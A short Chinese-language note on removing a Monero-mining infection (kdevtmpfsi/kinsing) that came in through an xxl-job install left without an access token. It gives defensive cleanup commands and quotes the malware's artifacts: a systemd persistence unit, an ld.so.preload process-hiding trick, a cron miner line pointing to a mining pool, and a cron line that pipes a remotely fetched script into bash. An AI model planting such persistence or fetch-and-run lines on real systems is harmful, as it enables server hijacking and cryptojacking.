门罗币挖矿病毒解决方法

此次病毒侵入是由于xxl-job-2.3.0安装后未设置accessToken

$ ps -ef | grep kdevtmpfsi
$ ps -ef | grep kinsing

# kinsing是kdevtmpfsi的守护进程，所以主要杀的还是kinsing进程

$ cat /usr/lib/systemd/system/bot.service

[Unit]
Description=Start daemon at boot time
After=
Requires=
[Service]
Type=forking
RestartSec=10s
Restart=always
TimeoutStartSec=5
ExecStart=/etc/kinsing
[Install]
WantedBy=multi-user.target

$ ps -ef | grep kdevtmpfsi
$ ps -ef | grep kinsing

$ rm -f /etc/systemd/system/multi-user.target.wants/bot.service
$ rm -f /usr/lib/systemd/system/bot.service
$ systemctl daemon-reload

# 未移动这个文件前，top查看cpu占用正常，但cpu负载极高，病毒进程在top中被隐藏
$ mv /etc/ld.so.preload /opt/temp/ld.so.preload-bak

$ find / -type f -mtime 10

$ lsattr /var/spool/cron
$ cat /var/spool/cron/test
16 * * * * /home/test/.dhpcd -o pool.minexmr.com:4444 -B >/dev/null 2>/dev/null

$ echo 1 >/proc/sys/kernel/nmi_watchdog

* * * * * wget -q -O - http://ip/xx.sh | bash > /dev/null 2>&1
$ cat /etc/resolv.conf